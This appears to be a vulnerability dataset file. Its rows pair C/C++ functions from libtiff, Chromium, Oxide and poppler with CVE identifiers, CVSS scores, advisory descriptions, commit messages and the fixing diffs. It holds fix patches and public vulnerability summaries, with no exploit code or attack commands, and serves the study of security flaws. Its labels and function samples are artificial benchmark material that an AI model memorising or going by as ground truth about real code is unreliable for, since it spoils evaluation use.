LogLuvSetupEncode(TIFF* tif)\n static void\n LogLuvClose(TIFF* tif)\n {\n+ LogLuvState* sp = (LogLuvState*) tif->tif_data;\n \tTIFFDirectory *td = &tif->tif_dir;\n \n+\tassert(sp != 0);\n \t/*\n \t * For consistency, we always want to write out the same\n \t * bitspersample and sampleformat for our TIFF file,\n \t * regardless of the data format being used by the application.\n \t * Since this routine is called after tags have been set but\n \t * before they have been recorded in the file, we reset them here.\n+ * Note: this is really a nasty approach. See PixarLogClose\n \t */\n-\ttd->td_samplesperpixel =\n-\t (td->td_photometric == PHOTOMETRIC_LOGL) ? 1 : 3;\n-\ttd->td_bitspersample = 16;\n-\ttd->td_sampleformat = SAMPLEFORMAT_INT;\n+ if( sp->encoder_state )\n+ {\n+ /* See PixarLogClose. Might avoid issues with tags whose size depends\n+ * on those below, but not completely sure this is enough. */\n+ td->td_samplesperpixel =\n+ (td->td_photometric == PHOTOMETRIC_LOGL) ? 1 : 3;\n+ td->td_bitspersample = 16;\n+ td->td_sampleformat = SAMPLEFORMAT_INT;\n+ }\n }\n \n static void"}<_**next**_>{"sha": "aa99bc92038fada3f1a77f3cd9cd9865c7bac1fb", "filename": "libtiff/tif_pixarlog.c", "status": "modified", "additions": 15, "deletions": 2, "changes": 17, "blob_url": "https://github.com/vadz/libtiff/blob/1044b43637fa7f70fb19b93593777b78bd20da86/libtiff/tif_pixarlog.c", "raw_url": "https://github.com/vadz/libtiff/raw/1044b43637fa7f70fb19b93593777b78bd20da86/libtiff/tif_pixarlog.c", "contents_url": "https://api.github.com/repos/vadz/libtiff/contents/libtiff/tif_pixarlog.c?ref=1044b43637fa7f70fb19b93593777b78bd20da86", "patch": "@@ -1233,8 +1233,10 @@ PixarLogPostEncode(TIFF* tif)\n static void\n PixarLogClose(TIFF* tif)\n {\n+ PixarLogState* sp = (PixarLogState*) tif->tif_data;\n \tTIFFDirectory *td = &tif->tif_dir;\n \n+\tassert(sp != 0);\n \t/* In a really sneaky (and really incorrect, and untruthful, and\n \t * troublesome, and error-prone) maneuver that completely goes against\n \t * the spirit of TIFF, and breaks TIFF, on close, we covertly\n@@ -1243,8 +1245,19 @@ PixarLogClose(TIFF* tif)\n \t * readers that don't know about PixarLog, or how to set\n \t * the PIXARLOGDATFMT pseudo-tag.\n \t */\n-\ttd->td_bitspersample = 8;\n-\ttd->td_sampleformat = SAMPLEFORMAT_UINT;\n+\n+ if (sp->state&PLSTATE_INIT) {\n+ /* We test the state to avoid an issue such as in\n+ * http://bugzilla.maptools.org/show_bug.cgi?id=2604\n+ * What appends in that case is that the bitspersample is 1 and\n+ * a TransferFunction is set. The size of the TransferFunction\n+ * depends on 1<<bitspersample. So if we increase it, an access\n+ * out of the buffer will happen at directory flushing.\n+ * Another option would be to clear those targs. \n+ */\n+ td->td_bitspersample = 8;\n+ td->td_sampleformat = SAMPLEFORMAT_UINT;\n+ }\n }\n \n static void"}
|
LogLuvDecodeStrip(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s)
{
tmsize_t rowlen = TIFFScanlineSize(tif);
if (rowlen == 0)
return 0;
assert(cc%rowlen == 0);
while (cc && (*tif->tif_decoderow)(tif, bp, rowlen, s)) {
bp += rowlen;
cc -= rowlen;
}
return (cc == 0);
}
|
LogLuvDecodeStrip(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s)
{
tmsize_t rowlen = TIFFScanlineSize(tif);
if (rowlen == 0)
return 0;
assert(cc%rowlen == 0);
while (cc && (*tif->tif_decoderow)(tif, bp, rowlen, s)) {
bp += rowlen;
cc -= rowlen;
}
return (cc == 0);
}
|
C
| null | null | null |
@@ -158,6 +158,7 @@
typedef struct logLuvState LogLuvState;
struct logLuvState {
+ int encoder_state; /* 1 if encoder correctly initialized */
int user_datafmt; /* user data format */
int encode_meth; /* encoding method */
int pixel_size; /* bytes per pixel */
@@ -1552,6 +1553,7 @@ LogLuvSetupEncode(TIFF* tif)
td->td_photometric, "must be either LogLUV or LogL");
break;
}
+ sp->encoder_state = 1;
return (1);
notsupported:
TIFFErrorExt(tif->tif_clientdata, module,
@@ -1563,19 +1565,27 @@ LogLuvSetupEncode(TIFF* tif)
static void
LogLuvClose(TIFF* tif)
{
+ LogLuvState* sp = (LogLuvState*) tif->tif_data;
TIFFDirectory *td = &tif->tif_dir;
+ assert(sp != 0);
/*
* For consistency, we always want to write out the same
* bitspersample and sampleformat for our TIFF file,
* regardless of the data format being used by the application.
* Since this routine is called after tags have been set but
* before they have been recorded in the file, we reset them here.
+ * Note: this is really a nasty approach. See PixarLogClose
*/
- td->td_samplesperpixel =
- (td->td_photometric == PHOTOMETRIC_LOGL) ? 1 : 3;
- td->td_bitspersample = 16;
- td->td_sampleformat = SAMPLEFORMAT_INT;
+ if( sp->encoder_state )
+ {
+ /* See PixarLogClose. Might avoid issues with tags whose size depends
+ * on those below, but not completely sure this is enough. */
+ td->td_samplesperpixel =
+ (td->td_photometric == PHOTOMETRIC_LOGL) ? 1 : 3;
+ td->td_bitspersample = 16;
+ td->td_sampleformat = SAMPLEFORMAT_INT;
+ }
}
static void
|
libtiff
|
1044b43637fa7f70fb19b93593777b78bd20da86
|
5397a417e61258c69209904e652a1f409ec3b9df
| 0
|
LogLuvDecodeStrip(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s)
{
tmsize_t rowlen = TIFFScanlineSize(tif);
if (rowlen == 0)
return 0;
assert(cc%rowlen == 0);
while (cc && (*tif->tif_decoderow)(tif, bp, rowlen, s)) {
bp += rowlen;
cc -= rowlen;
}
return (cc == 0);
}
|
168,404
| null |
Remote
|
Not required
| null |
CVE-2018-16080
|
https://www.cvedetails.com/cve/CVE-2018-16080/
|
CWE-20
|
Medium
| null |
Partial
| null |
2019-01-09
| 4.3
|
A missing check for popup window handling in Fullscreen in Google Chrome on macOS prior to 69.0.3497.81 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
|
2019-01-18
| null | 0
|
https://github.com/chromium/chromium/commit/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
|
c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
|
Mac: turn popups into new tabs while in fullscreen.
It's platform convention to show popups as new tabs while in
non-HTML5 fullscreen. (Popups cause tabs to lose HTML5 fullscreen.)
This was implemented for Cocoa in a BrowserWindow override, but
it makes sense to just stick it into Browser and remove a ton
of override code put in just to support this.
BUG=858929, 868416
TEST=as in bugs
Change-Id: I43471f242813ec1159d9c690bab73dab3e610b7d
Reviewed-on: https://chromium-review.googlesource.com/1153455
Reviewed-by: Sidney San Martín <sdy@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#578755}
| 0
|
chrome/test/base/test_browser_window.cc
|
{"sha": "eff931f91d557df3b9e203dd92928ab78333197a", "filename": "chrome/browser/ui/browser.cc", "status": "modified", "additions": 11, "deletions": 0, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser.cc", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser.cc?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -1532,6 +1532,17 @@ void Browser::AddNewContents(WebContents* source,\n const gfx::Rect& initial_rect,\n bool user_gesture,\n bool* was_blocked) {\n+#if defined(OS_MACOSX)\n+ // On the Mac, the convention is to turn popups into new tabs when in\n+ // fullscreen mode. Only worry about user-initiated fullscreen as showing a\n+ // popup in HTML5 fullscreen would have kicked the page out of fullscreen.\n+ if (disposition == WindowOpenDisposition::NEW_POPUP &&\n+ exclusive_access_manager_->fullscreen_controller()\n+ ->IsFullscreenForBrowser()) {\n+ disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;\n+ }\n+#endif\n+\n // At this point the |new_contents| is beyond the popup blocker, but we use\n // the same logic for determining if the popup tracker needs to be attached.\n if (source && PopupBlockerTabHelper::ConsiderForPopupBlocking(disposition))"}<_**next**_>{"sha": "9624ba684ac0a8b8509b94fb95377f8d05934b97", "filename": "chrome/browser/ui/browser_navigator.cc", "status": "modified", "additions": 0, "deletions": 7, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser_navigator.cc", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser_navigator.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser_navigator.cc?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -464,13 +464,6 @@ void Navigate(NavigateParams* params) {\n params->url = GURL(chrome::kExtensionInvalidRequestURL);\n #endif\n \n- // The browser window may want to adjust the disposition.\n- if (params->disposition == WindowOpenDisposition::NEW_POPUP &&\n- source_browser && source_browser->window()) {\n- params->disposition =\n- source_browser->window()->GetDispositionForPopupBounds(\n- params->window_bounds);\n- }\n // Trying to open a background tab when in an app browser results in\n // focusing a regular browser window an opening a tab in the background\n // of that window. Change the disposition to NEW_FOREGROUND_TAB so that"}<_**next**_>{"sha": "3957f27e187ba501cf5c794637101912030e33dd", "filename": "chrome/browser/ui/browser_window.h", "status": "modified", "additions": 0, "deletions": 5, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser_window.h", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/browser_window.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser_window.h?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -59,7 +59,6 @@ class Extension;\n }\n \n namespace gfx {\n-class Rect;\n class Size;\n }\n \n@@ -323,10 +322,6 @@ class BrowserWindow : public ui::BaseWindow {\n // Clipboard commands applied to the whole browser window.\n virtual void CutCopyPaste(int command_id) = 0;\n \n- // Return the correct disposition for a popup window based on |bounds|.\n- virtual WindowOpenDisposition GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) = 0;\n-\n // Construct a FindBar implementation for the |browser|.\n virtual FindBar* CreateFindBar() = 0;\n "}<_**next**_>{"sha": "db17a160d54fbabd3142d378624e37cf786aae7f", "filename": "chrome/browser/ui/cocoa/browser_window_cocoa.h", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/cocoa/browser_window_cocoa.h", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/cocoa/browser_window_cocoa.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/browser_window_cocoa.h?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -133,8 +133,6 @@ class BrowserWindowCocoa\n void HandleKeyboardEvent(\n const content::NativeWebKeyboardEvent& event) override;\n void CutCopyPaste(int command_id) override;\n- WindowOpenDisposition GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) override;\n FindBar* CreateFindBar() override;\n web_modal::WebContentsModalDialogHost* GetWebContentsModalDialogHost()\n override;"}<_**next**_>{"sha": "1cf88f329347eb311db67a978b54e64c35283161", "filename": "chrome/browser/ui/cocoa/browser_window_cocoa.mm", "status": "modified", "additions": 0, "deletions": 8, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/cocoa/browser_window_cocoa.mm", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/cocoa/browser_window_cocoa.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/browser_window_cocoa.mm?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -636,14 +636,6 @@ new OneClickSigninDialogController(\n [NSApp sendAction:@selector(paste:) to:nil from:nil];\n }\n \n-WindowOpenDisposition BrowserWindowCocoa::GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) {\n- // When using Cocoa's System Fullscreen mode, convert popups into tabs.\n- if ([controller_ isInAppKitFullscreen])\n- return WindowOpenDisposition::NEW_FOREGROUND_TAB;\n- return WindowOpenDisposition::NEW_POPUP;\n-}\n-\n FindBar* BrowserWindowCocoa::CreateFindBar() {\n // We could push the AddFindBar() call into the FindBarBridge\n // constructor or the FindBarCocoaController init, but that makes"}<_**next**_>{"sha": "ff328221febaea58f1919eb02151c42724877b73", "filename": "chrome/browser/ui/views/frame/browser_view.cc", "status": "modified", "additions": 0, "deletions": 5, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/views/frame/browser_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/views/frame/browser_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/frame/browser_view.cc?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -1498,11 +1498,6 @@ void BrowserView::CutCopyPaste(int command_id) {\n #endif // defined(OS_MACOSX)\n }\n \n-WindowOpenDisposition BrowserView::GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) {\n- return WindowOpenDisposition::NEW_POPUP;\n-}\n-\n FindBar* BrowserView::CreateFindBar() {\n return new FindBarHost(this);\n }"}<_**next**_>{"sha": "edcb618191b1a8835e013ba144c0b4813389a7fe", "filename": "chrome/browser/ui/views/frame/browser_view.h", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/views/frame/browser_view.h", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/browser/ui/views/frame/browser_view.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/frame/browser_view.h?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -375,8 +375,6 @@ class BrowserView : public BrowserWindow,\n void HandleKeyboardEvent(\n const content::NativeWebKeyboardEvent& event) override;\n void CutCopyPaste(int command_id) override;\n- WindowOpenDisposition GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) override;\n FindBar* CreateFindBar() override;\n web_modal::WebContentsModalDialogHost* GetWebContentsModalDialogHost()\n override;"}<_**next**_>{"sha": "752a7e78434c8ea54e78ee2bee3ad7291dc9c2ae", "filename": "chrome/test/base/test_browser_window.cc", "status": "modified", "additions": 0, "deletions": 5, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/test/base/test_browser_window.cc", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/test/base/test_browser_window.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/base/test_browser_window.cc?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -180,11 +180,6 @@ DownloadShelf* TestBrowserWindow::GetDownloadShelf() {\n return &download_shelf_;\n }\n \n-WindowOpenDisposition TestBrowserWindow::GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) {\n- return WindowOpenDisposition::NEW_POPUP;\n-}\n-\n FindBar* TestBrowserWindow::CreateFindBar() {\n return NULL;\n }"}<_**next**_>{"sha": "d911e384ab95a57787bea66747e8c1b38682dcc4", "filename": "chrome/test/base/test_browser_window.h", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/test/base/test_browser_window.h", "raw_url": "https://github.com/chromium/chromium/raw/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb/chrome/test/base/test_browser_window.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/base/test_browser_window.h?ref=c552cd7b8a0862f6b3c8c6a07f98bda3721101eb", "patch": "@@ -135,8 +135,6 @@ class TestBrowserWindow : public BrowserWindow {\n const base::Callback<void(bool)>& callback) override {}\n void UserChangedTheme() override {}\n void CutCopyPaste(int command_id) override {}\n- WindowOpenDisposition GetDispositionForPopupBounds(\n- const gfx::Rect& bounds) override;\n FindBar* CreateFindBar() override;\n web_modal::WebContentsModalDialogHost* GetWebContentsModalDialogHost()\n override;"}
|
TestBrowserWindow::TestLocationBar::GetPageTransition() const {
return ui::PAGE_TRANSITION_LINK;
}
|
TestBrowserWindow::TestLocationBar::GetPageTransition() const {
return ui::PAGE_TRANSITION_LINK;
}
|
C
| null | null | null |
@@ -180,11 +180,6 @@ DownloadShelf* TestBrowserWindow::GetDownloadShelf() {
return &download_shelf_;
}
-WindowOpenDisposition TestBrowserWindow::GetDispositionForPopupBounds(
- const gfx::Rect& bounds) {
- return WindowOpenDisposition::NEW_POPUP;
-}
-
FindBar* TestBrowserWindow::CreateFindBar() {
return NULL;
}
|
Chrome
|
c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
|
f2d4f9d463a01cdd194437a3f62f68cab9eadb7f
| 0
|
TestBrowserWindow::TestLocationBar::GetPageTransition() const {
return ui::PAGE_TRANSITION_LINK;
}
|
17,037
| null |
Remote
|
Not required
| null |
CVE-2016-1586
|
https://www.cvedetails.com/cve/CVE-2016-1586/
|
CWE-20
|
Low
| null |
Partial
| null |
2019-04-22
| 5
|
A malicious webview could install long-lived unload handlers that re-use an incognito BrowserContext that is queued for destruction in versions of Oxide before 1.18.3.
|
2019-10-09
| null | 0
|
https://git.launchpad.net/oxide/commit/?id=29014da83e5fc358d6bff0f574e9ed45e61a35ac
|
29014da83e5fc358d6bff0f574e9ed45e61a35ac
| null | 0
| null | null |
void OxideQQuickWebViewPrivate::FrameRemoved(QObject* frame) {
Q_Q(OxideQQuickWebView);
emit q->frameRemoved(qobject_cast<OxideQQuickWebFrame*>(frame));
}
|
void OxideQQuickWebViewPrivate::FrameRemoved(QObject* frame) {
Q_Q(OxideQQuickWebView);
emit q->frameRemoved(qobject_cast<OxideQQuickWebFrame*>(frame));
}
|
CPP
| null | null |
648e85080604e22bab00b48428b4e80c522cabea
|
@@ -2042,8 +2042,8 @@ If the application doesn't set this, then WebView will use the application
default WebContext (Oxide::defaultWebContext).
The application should ensure that the provided WebContext outlives this
-WebView. Although WebView will continue to function normally if its provided
-WebContext is deleted, it will mean that this property is null.
+WebView. Deleting the WebContext whilst the WebView is still alive may cause
+some features to stop working.
If this WebView is created as a request to open a new window (via
newViewRequested), then the WebContext will be inherited from the opening
|
launchpad
|
https://git.launchpad.net/oxide/tree/qt/quick/api/oxideqquickwebview.cc?id=29014da83e5fc358d6bff0f574e9ed45e61a35ac
|
https://git.launchpad.net/oxide/tree/qt/quick/api/oxideqquickwebview.cc?id=648e85080604e22bab00b48428b4e80c522cabea
| 0
|
void OxideQQuickWebViewPrivate::FrameRemoved(QObject* frame) {
Q_Q(OxideQQuickWebView);
emit q->frameRemoved(qobject_cast<OxideQQuickWebFrame*>(frame));
}
|
4,072
| null |
Remote
|
Not required
|
Partial
|
CVE-2013-1790
|
https://www.cvedetails.com/cve/CVE-2013-1790/
|
CWE-119
|
Medium
|
Partial
|
Partial
| null |
2013-04-09
| 6.8
|
poppler/Stream.cc in poppler before 0.22.1 allows context-dependent attackers to have an unspecified impact via vectors that trigger a read of uninitialized memory by the CCITTFaxStream::lookChar function.
|
2014-01-27
|
Overflow
| 0
|
https://cgit.freedesktop.org/poppler/poppler/commit/?h=poppler-0.22&id=b1026b5978c385328f2a15a2185c599a563edf91
|
b1026b5978c385328f2a15a2185c599a563edf91
| null | 0
| null | null |
FileStream::~FileStream() {
close();
}
|
FileStream::~FileStream() {
close();
}
|
CPP
| null | null |
bef2c42f381c74fdb8bbb43babe1a93a0e229fb0
|
@@ -14,7 +14,7 @@
// under GPL version 2 or later
//
// Copyright (C) 2005 Jeff Muizelaar <jeff@infidigm.net>
-// Copyright (C) 2006-2010, 2012 Albert Astals Cid <aacid@kde.org>
+// Copyright (C) 2006-2010, 2012, 2013 Albert Astals Cid <aacid@kde.org>
// Copyright (C) 2007 Krzysztof Kowalczyk <kkowalczyk@gmail.com>
// Copyright (C) 2008 Julien Rebetez <julien@fhtagn.net>
// Copyright (C) 2009 Carlos Garcia Campos <carlosgc@gnome.org>
@@ -1712,8 +1712,9 @@ int CCITTFaxStream::lookChar() {
for (i = 0; i < columns && codingLine[i] < columns; ++i) {
refLine[i] = codingLine[i];
}
- refLine[i++] = columns;
- refLine[i] = columns;
+ for (; i < columns + 2; ++i) {
+ refLine[i] = columns;
+ }
codingLine[0] = 0;
a0i = 0;
b1i = 0;
|
poppler
|
https://cgit.freedesktop.org/poppler/poppler/tree/poppler/Stream.cc?h=poppler-0.22&id=b1026b5978c385328f2a15a2185c599a563edf91
|
https://cgit.freedesktop.org/poppler/poppler/tree/poppler/Stream.cc?h=poppler-0.22&id=bef2c42f381c74fdb8bbb43babe1a93a0e229fb0
| 0
|
FileStream::~FileStream() {
close();
}
|
102,766
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-2881
|
https://www.cvedetails.com/cve/CVE-2011-2881/
|
CWE-119
|
Medium
|
Partial
|
Partial
| null |
2011-10-04
| 6.8
|
Google Chrome before 14.0.835.202 does not properly handle Google V8 hidden objects, which allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted JavaScript code.
|
2017-09-18
|
DoS Overflow Mem. Corr.
| 0
|
https://github.com/chromium/chromium/commit/88c4913f11967abfd08a8b22b4423710322ac49b
|
88c4913f11967abfd08a8b22b4423710322ac49b
|
[chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests
https://bugs.webkit.org/show_bug.cgi?id=70161
Reviewed by David Levin.
Source/WebCore:
Adds a weak pointer mechanism to cancel main thread tasks posted to CCThreadProxy instances from the compositor
thread. Previously there was a race condition where main thread tasks could run even after the CCThreadProxy was
destroyed.
This race does not exist in the other direction because when tearing down a CCThreadProxy we first post a quit
task to the compositor thread and then suspend execution of the main thread until all compositor tasks for the
CCThreadProxy have been drained.
Covered by the now-enabled CCLayerTreeHostTest* unit tests.
* WebCore.gypi:
* platform/graphics/chromium/cc/CCScopedMainThreadProxy.h: Added.
(WebCore::CCScopedMainThreadProxy::create):
(WebCore::CCScopedMainThreadProxy::postTask):
(WebCore::CCScopedMainThreadProxy::shutdown):
(WebCore::CCScopedMainThreadProxy::CCScopedMainThreadProxy):
(WebCore::CCScopedMainThreadProxy::runTaskIfNotShutdown):
* platform/graphics/chromium/cc/CCThreadProxy.cpp:
(WebCore::CCThreadProxy::CCThreadProxy):
(WebCore::CCThreadProxy::~CCThreadProxy):
(WebCore::CCThreadProxy::createBeginFrameAndCommitTaskOnCCThread):
* platform/graphics/chromium/cc/CCThreadProxy.h:
Source/WebKit/chromium:
Enables the CCLayerTreeHostTest* tests by default. Most tests are run twice in a single thread and multiple
thread configuration. Some tests run only in the multiple thread configuration if they depend on the compositor
thread scheduling draws by itself.
* tests/CCLayerTreeHostTest.cpp:
(::CCLayerTreeHostTest::timeout):
(::CCLayerTreeHostTest::clearTimeout):
(::CCLayerTreeHostTest::CCLayerTreeHostTest):
(::CCLayerTreeHostTest::onEndTest):
(::CCLayerTreeHostTest::TimeoutTask::TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::clearTest):
(::CCLayerTreeHostTest::TimeoutTask::~TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::Run):
(::CCLayerTreeHostTest::runTest):
(::CCLayerTreeHostTest::doBeginTest):
(::CCLayerTreeHostTestThreadOnly::runTest):
(::CCLayerTreeHostTestSetNeedsRedraw::commitCompleteOnCCThread):
git-svn-id: svn://svn.chromium.org/blink/trunk@97784 bbb929c8-8fbe-4397-9dbb-9b2b20218538
| 0
|
third_party/WebKit/Source/WebKit/chromium/tests/CCLayerTreeHostTest.cpp
|
{"sha": "1d3fae6819d78c4df92427aa27758554fbeda852", "filename": "third_party/WebKit/Source/WebCore/ChangeLog", "status": "modified", "additions": 30, "deletions": 0, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/ChangeLog", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/ChangeLog", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/ChangeLog?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -1,3 +1,33 @@\n+2011-10-18 James Robinson <jamesr@chromium.org>\n+\n+ [chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests\n+ https://bugs.webkit.org/show_bug.cgi?id=70161\n+\n+ Reviewed by David Levin.\n+\n+ Adds a weak pointer mechanism to cancel main thread tasks posted to CCThreadProxy instances from the compositor\n+ thread. Previously there was a race condition where main thread tasks could run even after the CCThreadProxy was\n+ destroyed.\n+\n+ This race does not exist in the other direction because when tearing down a CCThreadProxy we first post a quit\n+ task to the compositor thread and then suspend execution of the main thread until all compositor tasks for the\n+ CCThreadProxy have been drained.\n+\n+ Covered by the now-enabled CCLayerTreeHostTest* unit tests.\n+\n+ * WebCore.gypi:\n+ * platform/graphics/chromium/cc/CCScopedMainThreadProxy.h: Added.\n+ (WebCore::CCScopedMainThreadProxy::create):\n+ (WebCore::CCScopedMainThreadProxy::postTask):\n+ (WebCore::CCScopedMainThreadProxy::shutdown):\n+ (WebCore::CCScopedMainThreadProxy::CCScopedMainThreadProxy):\n+ (WebCore::CCScopedMainThreadProxy::runTaskIfNotShutdown):\n+ * platform/graphics/chromium/cc/CCThreadProxy.cpp:\n+ (WebCore::CCThreadProxy::CCThreadProxy):\n+ (WebCore::CCThreadProxy::~CCThreadProxy):\n+ (WebCore::CCThreadProxy::createBeginFrameAndCommitTaskOnCCThread):\n+ * platform/graphics/chromium/cc/CCThreadProxy.h:\n+\n 2011-10-13 Ojan Vafai <ojan@chromium.org>\n \n implement flex-flow:column"}<_**next**_>{"sha": "f74226539f80eaf543658861d206d20df26aa9a2", "filename": "third_party/WebKit/Source/WebCore/WebCore.gypi", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/WebCore.gypi", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/WebCore.gypi", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/WebCore.gypi?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -3542,6 +3542,8 @@\n 'platform/graphics/chromium/cc/CCRenderSurface.h',\n 'platform/graphics/chromium/cc/CCScheduler.cpp',\n 'platform/graphics/chromium/cc/CCScheduler.h',\n+ 'platform/graphics/chromium/cc/CCScopedMainThreadProxy.h',\n+ 'platform/graphics/chromium/cc/CCScrollController.h',\n 'platform/graphics/chromium/cc/CCSingleThreadProxy.cpp',\n 'platform/graphics/chromium/cc/CCSingleThreadProxy.h',\n 'platform/graphics/chromium/cc/CCThread.h',\n@@ -3552,7 +3554,6 @@\n 'platform/graphics/chromium/cc/CCTiledLayerImpl.h',\n 'platform/graphics/chromium/cc/CCVideoLayerImpl.cpp',\n 'platform/graphics/chromium/cc/CCVideoLayerImpl.h',\n- 'platform/graphics/chromium/cc/CCScrollController.h',\n 'platform/graphics/cocoa/FontPlatformDataCocoa.mm',\n 'platform/graphics/efl/FontEfl.cpp',\n 'platform/graphics/efl/IconEfl.cpp',"}<_**next**_>{"sha": "ce4cb6c7801658bcc63c74eea048e38c464891be", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCLayerTreeHost.cpp", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCLayerTreeHost.cpp", "raw_url": "https://github.com/chromium/chromium/raw/88c4913f11967abfd08a8b22b4423710322ac49b/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCLayerTreeHost.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCLayerTreeHost.cpp?ref=88c4913f11967abfd08a8b22b4423710322ac49b", "patch": "@@ -84,8 +84,6 @@ bool CCLayerTreeHost::initialize()\n // Update m_settings based on capabilities that we got back from the renderer.\n m_settings.acceleratePainting = m_proxy->layerRendererCapabilities().usingAcceleratedPainting;\n \n- setNeedsCommitThenRedraw();\n-\n m_contentsTextureManager = TextureManager::create(TextureManager::highLimitBytes(), m_proxy->layerRendererCapabilities().maxTextureSize);\n return true;\n }"}<_**next**_>{"sha": "03907ac0b1f6759dc05e8d31159449ccbdf5b3be", "filename": "third_party/WebKit/Source/WebCore/platform/graphics/chromium/cc/CCMainThread.h", "status": "modified", "additions": 8, "deletions": 1, "changes": 9, 